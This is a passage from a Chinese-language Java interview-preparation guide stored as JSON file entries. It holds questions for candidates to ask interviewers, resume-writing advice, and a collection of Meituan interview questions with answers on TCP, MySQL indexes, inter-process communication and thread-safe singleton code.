**我觉得我这次表现的不是太好，你有什么建议或者评价给我吗？**(这个是我常问的。我觉得说自己表现不好只是这个语境需要这样来说，这样可以显的你比较谦虚好学上进。)\n4.  **接下来我会有一段空档期，有什么值得注意或者建议学习的吗？** （体现出你对工作比较上心，自助学习意识比较强。）\n5. **这个岗位为什么还在招人？** (岗位真实性和价值咨询)\n6. **大概什么时候能给我回复呢？** (终面的时候，如果面试官没有说的话，可以问一下)\n7. ......\n\n\n\n#### 面对部门领导\n\n1. **部门的主要人员分配以及对应的主要工作能简单介绍一下吗？** \n2. **未来如果我要加入这个团队，你对我的期望是什么？** （部门领导一般情况下是你的直属上级了，你以后和他打交道的机会应该是最多的。你问这个问题，会让他感觉你是一个对他的部门比较上心，比较有团体意识，并且愿意倾听的候选人。）\n3. **公司对新入职的员工的培养机制是什么样的呢？** （正规的公司一般都有培养机制，提前问一下是对你自己的负责也会显的你比较上心）\n4. **以您来看，这个岗位未来在公司内部的发展如何？** (在我看来，问这个问题也是对你自己的负责吧，谁不想发展前景更好的岗位呢？)\n5. **团队现在面临的最大挑战是什么？** (这样的问题不会暴露你对公司的不了解，并且也能让你对未来工作的挑战或困难有一个提前的预期。)\n\n\n\n#### 面对Level比较高的(比如总裁,老板)\n\n1. **贵公司的发展目标和方向是什么？** （看下公司的发展是否满足自己的期望）\n2. **与同行业的竞争者相比，贵公司的核心竞争优势在什么地方？** （充分了解自己的优势和劣势）\n3. **公司现在面临的最大挑战是什么？**\n\n### 来个补充,顺便送个祝福给大家\n\n薪酬待遇和相关福利问题一般在终面的时候（最好不要在前面几面的时候就问到这个问题），面试官会提出来或者在面试完之后以邮件的形式告知你。一般来说，如果面试官很愿意为你回答问题，对你的问题也比较上心的话，那他肯定是觉得你就是他们要招的人。\n\n大家在面试的时候，可以根据自己对于公司或者岗位的了解程度，对上面提到的问题进行适当修饰或者修改。上面提到的一些问题只是给没有经验的朋友一个参考，如果你还有其他比较好的问题的话，那当然也更好啦！\n\n金三银四。过了二月就到了面试高峰期或者说是黄金期。几份惊喜几份愁，愿各位能始终不忘初心！每个人都有每个人的难处。引用一句《阿甘正传》里面的台词：“生活就像一盒巧克力，你永远不知道下一块是什么味道“。\n\n![加油！彩虹就要来了](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-2/生活就像一盒巧克力你永远不知道下一块是什么味道.JPEG)"
  },
  {
    "path": "docs/essential-content-for-interview/PreparingForInterview/程序员的简历之道.md",
    "content": "# 程序员的简历就该这样写\n\n### 1 前言\n<font color=\"red\">一份好的简历可以在整个申请面试以及面试过程中起到非常好的作用。</font> 在不夸大自己能力的情况下，写出一份好的简历也是一项很棒的能力。\n\n###  2 为什么说简历很重要？\n\n#### 2.1 先从面试前来说\n\n假如你是网申，你的简历必然会经过HR的筛选，一张简历HR可能也就花费10秒钟看一下，然后HR就会决定你这一关是Fail还是Pass。\n\n假如你是内推，如果你的简历没有什么优势的话，就算是内推你的人再用心，也无能为力。\n\n另外，就算你通过了筛选，后面的面试中，面试官也会根据你的简历来判断你究竟是否值得他花费很多时间去面试。\n\n所以，简历就像是我们的一个门面一样，它在很大程度上决定了你能否进入到下一轮的面试中。\n\n####  2.2 再从面试中来说\n\n我发现大家比较喜欢看面经 ，这点无可厚非，但是大部分面经都没告诉你很多问题都是在特定条件下才问的。举个简单的例子：一般情况下你的简历上注明你会的东西才会被问到（Java、数据结构、网络、算法这些基础是每个人必问的），比如写了你会 redis,那面试官就很大概率会问你 redis 的一些问题。比如：redis的常见数据类型及应用场景、redis是单线程为什么还这么快、 redis 和 memcached 的区别、redis 内存淘汰机制等等。\n\n所以，首先，你要明确的一点是：**你不会的东西就不要写在简历上**。另外，**你要考虑你该如何才能让你的亮点在简历中凸显出来**，比如：你在某某项目做了什么事情解决了什么问题（只要有项目就一定有要解决的问题）、你的某一个项目里使用了什么技术后整体性能和并发量提升了很多等等。\n\n面试和工作是两回事，聪明的人会把面试官往自己擅长的领域领，其他人则被面试官牵着鼻子走。虽说面试和工作是两回事，但是你要想要获得自己满意的 offer ，你自身的实力必须要强。\n\n### 3 下面这几点你必须知道\n\n1.  大部分公司的HR都说我们不看重学历（骗你的！），但是如果你的学校不出众的话，很难在一堆简历中脱颖而出，除非你的简历上有特别的亮点，比如：某某大厂的实习经历、获得了某某大赛的奖等等。\n2. **大部分应届生找工作的硬伤是没有工作经验或实习经历，所以如果你是应届生就不要错过秋招和春招。一旦错过，你后面就极大可能会面临社招，这个时候没有工作经验的你可能就会面临各种碰壁，导致找不到一个好的工作**\n3. **写在简历上的东西一定要慎重，这是面试官大量提问的地方；**\n4.  **将自己的项目经历完美的展示出来非常重要。**\n\n### 4  必须了解的两大法则\n\n\n**①STAR法则（Situation Task Action Result）：**\n\n- **Situation：** 事情是在什么情况下发生；\n- **Task:：** 你是如何明确你的任务的；\n- **Action：** 针对这样的情况分析，你采用了什么行动方式；\n- **Result：** 结果怎样，在这样的情况下你学习到了什么。\n\n简而言之，STAR法则，就是一种讲述自己故事的方式，或者说，是一个清晰、条理的作文模板。不管是什么，合理熟练运用此法则，可以轻松的对面试官描述事物的逻辑方式，表现出自己分析阐述问题的清晰性、条理性和逻辑性。\n\n下面这段内容摘自百度百科，我觉得写的非常不错：\n\n> STAR法则，500强面试题回答时的技巧法则，备受面试者成功者和500强HR的推崇。\n由于这个法则被广泛应用于面试问题的回答，尽管我们还在写简历阶段，但是，写简历时能把面试的问题就想好，会使自己更加主动和自信，做到简历，面试关联性，逻辑性强，不至于在一个月后去面试，却把简历里的东西都忘掉了（更何况有些朋友会稍微夸大简历内容）\n在我们写简历时，每个人都要写上自己的工作经历，活动经历，想必每一个同学，都会起码花上半天甚至更长的时间去搜寻脑海里所有有关的经历，争取找出最好的东西写在简历上。\n但是此时，我们要注意了，简历上的任何一个信息点都有可能成为日后面试时的重点提问对象，所以说，不能只管写上让自己感觉最牛的经历就完事了，要想到今后，在面试中，你所写的经历万一被面试官问到，你真的能回答得流利，顺畅，且能通过这段经历，证明自己正是适合这个职位的人吗？\n\n**②FAB 法则（Feature Advantage Benefit）：**\n\n- **Feature：** 是什么；\n- **Advantage：** 比别人好在哪些地方；\n- **Benefit：** 如果雇佣你，招聘方会得到什么好处。\n\n简单来说，这个法则主要是让你的面试官知道你的优势、招了你之后对公司有什么帮助。\n\n### 5 项目经历怎么写？\n\n简历上有一两个项目经历很正常，但是真正能把项目经历很好的展示给面试官的非常少。对于项目经历大家可以考虑从如下几点来写：\n\n1. 对项目整体设计的一个感受\n2. 在这个项目中你负责了什么、做了什么、担任了什么角色\n3. 从这个项目中你学会了那些东西，使用到了那些技术，学会了那些新技术的使用\n4. 另外项目描述中，最好可以体现自己的综合素质，比如你是如何协调项目组成员协同开发的或者在遇到某一个棘手的问题的时候你是如何解决的又或者说你在这个项目用了什么技术实现了什么功能比如:用redis做缓存提高访问速度和并发量、使用消息队列削峰和降流等等。\n\n### 6 专业技能该怎么写？\n先问一下你自己会什么，然后看看你意向的公司需要什么。一般HR可能并不太懂技术，所以他在筛选简历的时候可能就盯着你专业技能的关键词来看。对于公司有要求而你不会的技能，你可以花几天时间学习一下，然后在简历上可以写上自己了解这个技能。比如你可以这样写(下面这部分内容摘自我的简历，大家可以根据自己的情况做一些修改和完善)：\n\n- 计算机网络、数据结构、算法、操作系统等课内基础知识：掌握\n- Java 基础知识：掌握\n- JVM 虚拟机（Java内存区域、虚拟机垃圾算法、虚拟垃圾收集器、JVM内存管理）：掌握\n- 高并发、高可用、高性能系统开发：掌握\n- Struts2、Spring、Hibernate、Ajax、Mybatis、JQuery ：掌握\n- SSH 整合、SSM 整合、 SOA 架构：掌握\n- Dubbo： 掌握\n- Zookeeper: 掌握\n- 常见消息队列: 掌握\n- Linux：掌握\n- MySQL常见优化手段：掌握 \n- Spring Boot +Spring Cloud +Docker:了解\n- Hadoop 生态相关技术中的 HDFS、Storm、MapReduce、Hive、Hbase ：了解\n- Python 基础、一些常见第三方库比如OpenCV、wxpy、wordcloud、matplotlib：熟悉\n\n### 7 开源程序员Markdown格式简历模板分享\n\n分享一个Github上开源的程序员简历模板。包括PHP程序员简历模板、iOS程序员简历模板、Android程序员简历模板、Web前端程序员简历模板、Java程序员简历模板、C/C++程序员简历模板、NodeJS程序员简历模板、架构师简历模板以及通用程序员简历模板 。\nGithub地址：[https://github.com/geekcompany/ResumeSample](https://github.com/geekcompany/ResumeSample)\n\n\n我的下面这篇文章讲了如何写一份Markdown格式的简历，另外，文中还提到了一种实现 Markdown 格式到PDF、HTML、JPEG这几种格式的转换方法。\n\n[手把手教你用Markdown写一份高质量的简历](https://mp.weixin.qq.com/s?__biz=MzU4NDQ4MzU5OA==&mid=2247484347&idx=1&sn=a986ea7e199871999a5257bd3ed78be1&chksm=fd9855dacaefdccc2c5d5f8f79c4aa1b608ad5b42936bccaefb99a850a2e6e8e2e910e1b3153&token=719595858&lang=zh_CN#rd)\n\n### 8 其他的一些小tips\n\n1. 尽量避免主观表述，少一点语义模糊的形容词，尽量要简洁明了，逻辑结构清晰。\n2. 注意排版（不需要花花绿绿的），尽量使用Markdown语法。\n3. 如果自己有博客或者个人技术栈点的话，写上去会为你加分很多。\n4. 如果自己的Github比较活跃的话，写上去也会为你加分很多。\n5. 注意简历真实性，一定不要写自己不会的东西，或者带有欺骗性的内容\n6. 项目经历建议以时间倒序排序，另外项目经历不在于多，而在于有亮点。\n7. 如果内容过多的话，不需要非把内容压缩到一页，保持排版干净整洁就可以了。\n8. 简历最后最好能加上：“感谢您花时间阅读我的简历，期待能有机会和您共事。”这句话，显的你会很有礼貌。\n"
  },
  {
    "path": "docs/essential-content-for-interview/PreparingForInterview/美团面试常见问题总结.md",
    "content": "<!-- MarkdownTOC -->\n\n- [一 基础篇](#一-基础篇)\n  - [1. `System.out.println(3|9)`输出什么?](#1-systemoutprintln39输出什么)\n  - [2. 说一下转发\\(Forward\\)和重定向\\(Redirect\\)的区别](#2-说一下转发forward和重定向redirect的区别)\n  - [3. 在浏览器中输入url地址到显示主页的过程,整个过程会使用哪些协议](#3-在浏览器中输入url地址到显示主页的过程整个过程会使用哪些协议)\n  - [4. TCP 三次握手和四次挥手](#4-tcp-三次握手和四次挥手)\n      - [为什么要三次握手](#为什么要三次握手)\n      - [为什么要传回 SYN](#为什么要传回-syn)\n      - [传了 SYN,为啥还要传 ACK](#传了-syn为啥还要传-ack)\n      - [为什么要四次挥手](#为什么要四次挥手)\n  - [5. IP地址与MAC地址的区别](#5-ip地址与mac地址的区别)\n  - [6. HTTP请求,响应报文格式](#6-http请求响应报文格式)\n  - [7. 为什么要使用索引?索引这么多优点,为什么不对表中的每一个列创建一个索引呢?索引是如何提高查询速度的?说一下使用索引的注意事项?Mysql索引主要使用的两种数据结构?什么是覆盖索引?](#7-为什么要使用索引索引这么多优点为什么不对表中的每一个列创建一个索引呢索引是如何提高查询速度的说一下使用索引的注意事项mysql索引主要使用的两种数据结构什么是覆盖索引)\n  - [8. 进程与线程的区别是什么?进程间的几种通信方式说一下?线程间的几种通信方式知道不?](#8-进程与线程的区别是什么进程间的几种通信方式说一下线程间的几种通信方式知道不)\n  - [9. 为什么要用单例模式?手写几种线程安全的单例模式?](#9-为什么要用单例模式手写几种线程安全的单例模式)\n  - [10. 简单介绍一下bean;知道Spring的bean的作用域与生命周期吗?](#10-简单介绍一下bean知道spring的bean的作用域与生命周期吗)\n  - [11. Spring 中的事务传播行为了解吗?TransactionDefinition 接口中哪五个表示隔离级别的常量?](#11-spring-中的事务传播行为了解吗transactiondefinition-接口中哪五个表示隔离级别的常量)\n      - [事务传播行为](#事务传播行为)\n      - [隔离级别](#隔离级别)\n  - [12. SpringMVC 原理了解吗?](#12-springmvc-原理了解吗)\n  - [13. Spring AOP IOC 实现原理](#13-spring-aop-ioc-实现原理)\n- [二 进阶篇](#二-进阶篇)\n  - [1 消息队列MQ的套路](#1-消息队列mq的套路)\n    - [1.1 介绍一下消息队列MQ的应用场景/使用消息队列的好处](#11-介绍一下消息队列mq的应用场景使用消息队列的好处)\n      - [1)通过异步处理提高系统性能](#1通过异步处理提高系统性能)\n      - [2)降低系统耦合性](#2降低系统耦合性)\n    - [1.2 那么使用消息队列会带来什么问题?考虑过这些问题吗?](#12-那么使用消息队列会带来什么问题考虑过这些问题吗)\n    - [1.3 介绍一下你知道哪几种消息队列,该如何选择呢?](#13-介绍一下你知道哪几种消息队列该如何选择呢)\n    - [1.4 关于消息队列其他一些常见的问题展望](#14-关于消息队列其他一些常见的问题展望)\n  - [2 谈谈 InnoDB 和 MyIsam 两者的区别](#2-谈谈-innodb-和-myisam-两者的区别)\n    - [2.1 两者的对比](#21-两者的对比)\n    - [2.2 关于两者的总结](#22-关于两者的总结)\n  - [3 聊聊 Java 中的集合吧！](#3-聊聊-java-中的集合吧)\n    - [3.1 Arraylist 与 LinkedList 有什么不同?\\(注意加上从数据结构分析的内容\\)](#31-arraylist-与-linkedlist-有什么不同注意加上从数据结构分析的内容)\n    - [3.2 HashMap的底层实现](#32-hashmap的底层实现)\n      - [1)JDK1.8之前](#1jdk18之前)\n      - [2)JDK1.8之后](#2jdk18之后)\n    - [3.3 既然谈到了红黑树,你给我手绘一个出来吧,然后简单讲一下自己对于红黑树的理解](#33-既然谈到了红黑树你给我手绘一个出来吧然后简单讲一下自己对于红黑树的理解)\n    - [3.4 红黑树这么优秀,为何不直接使用红黑树得了?](#34-红黑树这么优秀为何不直接使用红黑树得了)\n    - [3.5 HashMap 和 Hashtable 的区别/HashSet 和 HashMap 区别](#35-hashmap-和-hashtable-的区别hashset-和-hashmap-区别)\n- [三 终结篇](#三-终结篇)\n  - [1. Object类有哪些方法?](#1-object类有哪些方法)\n    - [1.1 Object类的常见方法总结](#11-object类的常见方法总结)\n    - [1.2 hashCode与equals](#12-hashcode与equals)\n      - [1.2.1 hashCode\\(\\)介绍](#121-hashcode介绍)\n      - [1.2.2 为什么要有hashCode](#122-为什么要有hashcode)\n      - [1.2.3 hashCode\\(\\)与equals\\(\\)的相关规定](#123-hashcode与equals的相关规定)\n      - [1.2.4 为什么两个对象有相同的hashcode值,它们也不一定是相等的?](#124-为什么两个对象有相同的hashcode值它们也不一定是相等的)\n    - [1.3  ==与equals](#13-与equals)\n  - [2 ConcurrentHashMap 相关问题](#2-concurrenthashmap-相关问题)\n    - [2.1 ConcurrentHashMap 和 Hashtable 的区别](#21-concurrenthashmap-和-hashtable-的区别)\n    - [2.2 ConcurrentHashMap线程安全的具体实现方式/底层具体实现](#22-concurrenthashmap线程安全的具体实现方式底层具体实现)\n      - [JDK1.7\\(上面有示意图\\)](#jdk17上面有示意图)\n      - [JDK1.8\\(上面有示意图\\)](#jdk18上面有示意图)\n  - [3 谈谈 synchronized 和 ReenTrantLock 的区别](#3-谈谈-synchronized-和-reentrantlock-的区别)\n  - [4 线程池了解吗?](#4-线程池了解吗)\n    - [4.1 为什么要用线程池?](#41-为什么要用线程池)\n    - [4.2 Java 提供了哪几种线程池?他们各自的使用场景是什么?](#42-java-提供了哪几种线程池他们各自的使用场景是什么)\n      - [Java 主要提供了下面4种线程池](#java-主要提供了下面4种线程池)\n      - [各种线程池的适用场景介绍](#各种线程池的适用场景介绍)\n    - [4.3 创建的线程池的方式](#43-创建的线程池的方式)\n  - [5 Nginx](#5-nginx)\n    - [5.1 简单介绍一下Nginx](#51-简单介绍一下nginx)\n      - [反向代理](#反向代理)\n      - [负载均衡](#负载均衡)\n      - [动静分离](#动静分离)\n    - [5.2 为什么要用 Nginx?](#52-为什么要用-nginx)\n    - [5.3  Nginx 的四个主要组成部分了解吗?](#53-nginx-的四个主要组成部分了解吗)\n\n<!-- /MarkdownTOC -->\n\n\n这些问题是2018年去美团面试的同学被问到的一些常见的问题，希望对你有帮助！\n\n# 一 基础篇\n\n\n## 1. `System.out.println(3|9)`输出什么?\n\n正确答案：11.\n\n**考察知识点：&和&&；|和||**\n\n**&和&&：**\n\n共同点：两者都可做逻辑运算符。它们都表示运算符的两边都是true时，结果为true；\n\n不同点: &也是位运算符。& 表示在运算时两边都会计算，然后再判断；&&表示先运算符号左边的东西，然后判断是否为true，是true就继续运算右边的然后判断并输出，是false就停下来直接输出不会再运行后面的东西。\n\n**|和||：**\n\n共同点：两者都可做逻辑运算符。它们都表示运算符的两边任意一边为true，结果为true，两边都不是true，结果就为false；\n\n不同点：|也是位运算符。| 表示两边都会运算，然后再判断结果；|| 表示先运算符号左边的东西，然后判断是否为true，是true就停下来直接输出不会再运行后面的东西，是false就继续运算右边的然后判断并输出。\n\n**回到本题：**\n\n3 | 9=0011（二进制） | 1001（二进制）=1011（二进制）=11（十进制）\n\n## 2. 说一下转发(Forward)和重定向(Redirect)的区别\n\n**转发是服务器行为，重定向是客户端行为。**\n\n**转发（Forword）** 通过RequestDispatcher对象的`forward（HttpServletRequest request,HttpServletResponse response）`方法实现的。`RequestDispatcher` 可以通过`HttpServletRequest` 的 `getRequestDispatcher()`方法获得。例如下面的代码就是跳转到 login_success.jsp 页面。\n\n```java\nrequest.getRequestDispatcher(\"login_success.jsp\").forward(request, response);\n```\n\n**重定向（Redirect）** 是利用服务器返回的状态吗来实现的。客户端浏览器请求服务器的时候，服务器会返回一个状态码。服务器通过HttpServletRequestResponse的setStatus(int status)方法设置状态码。如果服务器返回301或者302，则浏览器会到新的网址重新请求该资源。\n\n1. **从地址栏显示来说:** forward是服务器请求资源,服务器直接访问目标地址的URL,把那个URL的响应内容读取过来,然后把这些内容再发给浏览器.浏览器根本不知道服务器发送的内容从哪里来的,所以它的地址栏还是原来的地址. redirect是服务端根据逻辑,发送一个状态码,告诉浏览器重新去请求那个地址.所以地址栏显示的是新的URL.\n2. **从数据共享来说:** forward:转发页面和转发到的页面可以共享request里面的数据. redirect:不能共享数据.\n3. **从运用地方来说:** forward:一般用于用户登陆的时候,根据角色转发到相应的模块. redirect:一般用于用户注销登陆时返回主页面和跳转到其它的网站等\n4. **从效率来说:** forward:高. redirect:低.\n\n\n## 3. 在浏览器中输入url地址到显示主页的过程,整个过程会使用哪些协议\n\n图片来源：《图解HTTP》：\n\n![状态码](https://user-gold-cdn.xitu.io/2018/4/19/162db5e985aabdbe?imageView2/0/w/1280/h/960/format/webp/ignore-error/1)\n\n总体来说分为以下几个过程:\n\n1. DNS解析\n2. TCP连接\n3. 发送HTTP请求\n4. 服务器处理请求并返回HTTP报文\n5. 浏览器解析渲染页面\n6. 连接结束\n\n具体可以参考下面这篇文章：\n\n- [https://segmentfault.com/a/1190000006879700](https://segmentfault.com/a/1190000006879700)\n\n## 4. TCP 三次握手和四次挥手\n\n为了准确无误地把数据送达目标处，TCP协议采用了三次握手策略。\n\n**漫画图解：**\n\n图片来源：《图解HTTP》\n![TCP三次握手](https://user-gold-cdn.xitu.io/2018/5/8/1633e127396541f1?w=864&h=439&f=png&s=226095)\n\n**简单示意图：**\n![TCP三次握手](https://user-gold-cdn.xitu.io/2018/5/8/1633e14233d95972?w=542&h=427&f=jpeg&s=15088)\n\n- 客户端–发送带有 SYN 标志的数据包–一次握手–服务端\n- 服务端–发送带有 SYN/ACK 标志的数据包–二次握手–客户端\n- 客户端–发送带有带有 ACK 标志的数据包–三次握手–服务端\n\n#### 为什么要三次握手\n\n**三次握手的目的是建立可靠的通信信道，说到通讯，简单来说就是数据的发送与接收，而三次握手最主要的目的就是双方确认自己与对方的发送与接收是正常的。**\n\n第一次握手：Client 什么都不能确认；Server 确认了对方发送正常，自己接收正常。\n\n第二次握手：Client 确认了：自己发送、接收正常，对方发送、接收正常；Server 确认了：自己接收正常，对方发送正常\n\n第三次握手：Client 确认了：自己发送、接收正常，对方发送、接收正常；Server 确认了：自己发送、接收正常，对方发送接收正常\n\n所以三次握手就能确认双发收发功能都正常，缺一不可。\n\n#### 为什么要传回 SYN\n接收端传回发送端所发送的 SYN 是为了告诉发送端，我接收到的信息确实就是你所发送的信号了。\n\n> SYN 是 TCP/IP 建立连接时使用的握手信号。在客户机和服务器之间建立正常的 TCP 网络连接时，客户机首先发出一个 SYN 消息，服务器使用 SYN-ACK 应答表示接收到了这个消息，最后客户机再以 ACK(Acknowledgement[汉译：确认字符 ,在数据通信传输中，接收站发给发送站的一种传输控制字符。它表示确认发来的数据已经接受无误。 ]）消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接，数据才可以在客户机和服务器之间传递。\n\n\n#### 传了 SYN,为啥还要传 ACK\n\n双方通信无误必须是两者互相发送信息都无误。传了 SYN，证明发送方（主动关闭方）到接收方（被动关闭方）的通道没有问题，但是接收方到发送方的通道还需要 ACK 信号来进行验证。\n\n![TCP四次挥手](https://user-gold-cdn.xitu.io/2018/5/8/1633e1676e2ac0a3?w=500&h=340&f=jpeg&s=13406)\n\n断开一个 TCP 连接则需要“四次挥手”：\n\n- 客户端-发送一个 FIN，用来关闭客户端到服务器的数据传送\n- 服务器-收到这个 FIN，它发回一 个 ACK，确认序号为收到的序号加1 。和 SYN 一样，一个 FIN 将占用一个序号\n- 服务器-关闭与客户端的连接，发送一个FIN给客户端\n- 客户端-发回 ACK 报文确认，并将确认序号设置为收到序号加1\n\n\n####  为什么要四次挥手\n\n任何一方都可以在数据传送结束后发出连接释放的通知，待对方确认后进入半关闭状态。当另一方也没有数据再发送的时候，则发出连接释放通知，对方确认后就完全关闭了TCP连接。\n\n举个例子：A 和 B 打电话，通话即将结束后，A 说“我没啥要说的了”，B回答“我知道了”，但是 B 可能还会有要说的话，A 不能要求 B 跟着自己的节奏结束通话，于是 B 可能又巴拉巴拉说了一通，最后 B 说“我说完了”，A 回答“知道了”，这样通话才算结束。\n\n上面讲的比较概括，推荐一篇讲的比较细致的文章：[https://blog.csdn.net/qzcsu/article/details/72861891](https://blog.csdn.net/qzcsu/article/details/72861891)\n\n\n\n## 5. IP地址与MAC地址的区别\n\n参考：[https://blog.csdn.net/guoweimelon/article/details/50858597](https://blog.csdn.net/guoweimelon/article/details/50858597)\n\nIP地址是指互联网协议地址（Internet Protocol Address）IP Address的缩写。IP地址是IP协议提供的一种统一的地址格式，它为互联网上的每一个网络和每一台主机分配一个逻辑地址，以此来屏蔽物理地址的差异。\n\n\n\nMAC 地址又称为物理地址、硬件地址，用来定义网络设备的位置。网卡的物理地址通常是由网卡生产厂家写入网卡的，具有全球唯一性。MAC地址用于在网络中唯一标示一个网卡，一台电脑会有一或多个网卡，每个网卡都需要有一个唯一的MAC地址。\n\n## 6. HTTP请求,响应报文格式\n\n\n\nHTTP请求报文主要由请求行、请求头部、请求正文3部分组成\n\nHTTP响应报文主要由状态行、响应头部、响应正文3部分组成\n\n详细内容可以参考：[https://blog.csdn.net/a19881029/article/details/14002273](https://blog.csdn.net/a19881029/article/details/14002273)\n\n## 7. 为什么要使用索引?索引这么多优点,为什么不对表中的每一个列创建一个索引呢?索引是如何提高查询速度的?说一下使用索引的注意事项?Mysql索引主要使用的两种数据结构?什么是覆盖索引?\n\n**为什么要使用索引？**\n\n1. 通过创建唯一性索引，可以保证数据库表中每一行数据的唯一性。\n2. 可以大大加快 数据的检索速度（大大减少的检索的数据量）,  这也是创建索引的最主要的原因。 \n3. 帮助服务器避免排序和临时表\n4. 将随机IO变为顺序IO\n5. 可以加速表和表之间的连接，特别是在实现数据的参考完整性方面特别有意义。\n\n**索引这么多优点，为什么不对表中的每一个列创建一个索引呢？**\n\n1. 当对表中的数据进行增加、删除和修改的时候，索引也要动态的维护，这样就降低了数据的维护速度。 \n2. 索引需要占物理空间，除了数据表占数据空间之外，每一个索引还要占一定的物理空间，如果要建立聚簇索引，那么需要的空间就会更大。 \n3. 创建索引和维护索引要耗费时间，这种时间随着数据量的增加而增加。 \n\n**索引是如何提高查询速度的？**\n\n将无序的数据变成相对有序的数据（就像查目录一样）\n\n**说一下使用索引的注意事项**\n\n1. 避免 where 子句中对字段施加函数，这会造成无法命中索引。\n2. 在使用InnoDB时使用与业务无关的自增主键作为主键，即使用逻辑主键，而不要使用业务主键。\n3. 将打算加索引的列设置为 NOT NULL ，否则将导致引擎放弃使用索引而进行全表扫描\n4. 删除长期未使用的索引，不用的索引的存在会造成不必要的性能损耗 MySQL 5.7 可以通过查询 sys 库的 schema_unused_indexes 视图来查询哪些索引从未被使用\n5. 在使用 limit offset 查询缓慢时，可以借助索引来提高性能\n\n**Mysql索引主要使用的哪两种数据结构？**\n\n- 哈希索引：对于哈希索引来说，底层的数据结构就是哈希表，因此在绝大多数需求为单条记录查询的时候，可以选择哈希索引，查询性能最快；其余大部分场景，建议选择BTree索引。\n- BTree索引：Mysql的BTree索引使用的是B树中的B+Tree。但对于主要的两种存储引擎（MyISAM和InnoDB）的实现方式是不同的。\n\n更多关于索引的内容可以查看我的这篇文章：[【思维导图-索引篇】搞定数据库索引就是这么简单](https://mp.weixin.qq.com/s?__biz=MzU4NDQ4MzU5OA==&mid=2247484486&idx=1&sn=215450f11e042bca8a58eac9f4a97686&chksm=fd985227caefdb3117b8375f150676f5824aa20d1ebfdbcfb93ff06e23e26efbafae6cf6b48e&token=1990180468&lang=zh_CN#rd)\n\n**什么是覆盖索引?**\n\n如果一个索引包含（或者说覆盖）所有需要查询的字段的值，我们就称\n之为“覆盖索引”。我们知道在InnoDB存储引擎中，如果不是主键索引，叶子节点存储的是主键+列值。最终还是要“回表”，也就是要通过主键再查找一次,这样就会比较慢。覆盖索引就是把要查询出的列和索引是对应的，不做回表操作！\n\n\n## 8. 进程与线程的区别是什么?进程间的几种通信方式说一下?线程间的几种通信方式知道不?\n **进程与线程的区别是什么？**\n\n线程与进程相似，但线程是一个比进程更小的执行单位。一个进程在其执行的过程中可以产生多个线程。与进程不同的是同类的多个线程共享同一块内存空间和一组系统资源，所以系统在产生一个线程，或是在各个线程之间作切换工作时，负担要比进程小得多，也正因为如此，线程也被称为轻量级进程。另外，也正是因为共享资源，所以线程中执行时一般都要进行同步和互斥。总的来说，进程和线程的主要差别在于它们是不同的操作系统资源管理方式。\n\n**进程间的几种通信方式说一下？**\n\n\n1. **管道（pipe）**：管道是一种半双工的通信方式，数据只能单向流动，而且只能在具有血缘关系的进程间使用。进程的血缘关系通常指父子进程关系。管道分为pipe（无名管道）和fifo（命名管道）两种，有名管道也是半双工的通信方式，但是它允许无亲缘关系进程间通信。\n2. **信号量（semophore）**：信号量是一个计数器，可以用来控制多个进程对共享资源的访问。它通常作为一种锁机制，防止某进程正在访问共享资源时，其他进程也访问该资源。因此，主要作为进程间以及同一进程内不同线程之间的同步手段。\n3. **消息队列（message queue）**：消息队列是由消息组成的链表，存放在内核中 并由消息队列标识符标识。消息队列克服了信号传递信息少，管道只能承载无格式字节流以及缓冲区大小受限等缺点。消息队列与管道通信相比，其优势是对每个消息指定特定的消息类型，接收的时候不需要按照队列次序，而是可以根据自定义条件接收特定类型的消息。\n4. **信号（signal）**：信号是一种比较复杂的通信方式，用于通知接收进程某一事件已经发生。\n5. **共享内存（shared memory）**：共享内存就是映射一段能被其他进程所访问的内存，这段共享内存由一个进程创建，但多个进程都可以访问，共享内存是最快的IPC方式，它是针对其他进程间的通信方式运行效率低而专门设计的。它往往与其他通信机制，如信号量配合使用，来实现进程间的同步和通信。\n6. **套接字（socket）**：socket，即套接字是一种通信机制，凭借这种机制，客户/服务器（即要进行通信的进程）系统的开发工作既可以在本地单机上进行，也可以跨网络进行。也就是说它可以让不在同一台计算机但通过网络连接计算机上的进程进行通信。也因为这样，套接字明确地将客户端和服务器区分开来。\n\n**线程间的几种通信方式知道不？**\n\n1、锁机制\n\n- 互斥锁：提供了以排它方式阻止数据结构被并发修改的方法。\n- 读写锁：允许多个线程同时读共享数据，而对写操作互斥。\n- 条件变量：可以以原子的方式阻塞进程，直到某个特定条件为真为止。对条件测试是在互斥锁的保护下进行的。条件变量始终与互斥锁一起使用。\n\n2、信号量机制：包括无名线程信号量与有名线程信号量\n\n3、信号机制：类似于进程间的信号处理。\n\n线程间通信的主要目的是用于线程同步，所以线程没有象进程通信中用于数据交换的通信机制。\n\n## 9. 为什么要用单例模式?手写几种线程安全的单例模式?\n\n**简单来说使用单例模式可以带来下面几个好处:**\n\n- 对于频繁使用的对象，可以省略创建对象所花费的时间，这对于那些重量级对象而言，是非常可观的一笔系统开销；\n- 由于 new 操作的次数减少，因而对系统内存的使用频率也会降低，这将减轻 GC 压力，缩短 GC 停顿时间。\n\n**懒汉式(双重检查加锁版本)**\n\n```java\npublic class Singleton {\n\n    //volatile保证，当uniqueInstance变量被初始化成Singleton实例时，多个线程可以正确处理uniqueInstance变量\n    private volatile static Singleton uniqueInstance;\n    private Singleton() {\n    }\n    public static Singleton getInstance() {\n       //检查实例，如果不存在，就进入同步代码块\n        if (uniqueInstance == null) {\n            //只有第一次才彻底执行这里的代码\n            synchronized(Singleton.class) {\n               //进入同步代码块后，再检查一次，如果仍是null，才创建实例\n                if (uniqueInstance == null) {\n                    uniqueInstance = new Singleton();\n                }\n            }\n        }\n        return uniqueInstance;\n    }\n}\n```\n\n**静态内部类方式**\n\n静态内部实现的单例是懒加载的且线程安全。\n\n只有通过显式调用 getInstance 方法时，才会显式装载 SingletonHolder 类，从而实例化 instance（只有第一次使用这个单例的实例的时候才加载，同时不会有线程安全问题）。\n\n```java\npublic class Singleton {  \n    private static class SingletonHolder {  \n    private static final Singleton INSTANCE = new Singleton();  \n    }  \n    private Singleton (){}  \n    public static final Singleton getInstance() {  \n    return SingletonHolder.INSTANCE;  \n    }  \n}   \n```\n\n## 10. 简单介绍一下bean;知道Spring的bean的作用域与生命周期吗?\n\n在 Spring 中，那些组成应用程序的主体及由 Spring IOC 容器所管理的对象，被称之为 bean。简单地讲，bean 就是由 IOC 容器初始化、装配及管理的对象，除此之外，bean 就与应用程序中的其他对象没有什么区别了。而 bean 的定义以及 bean 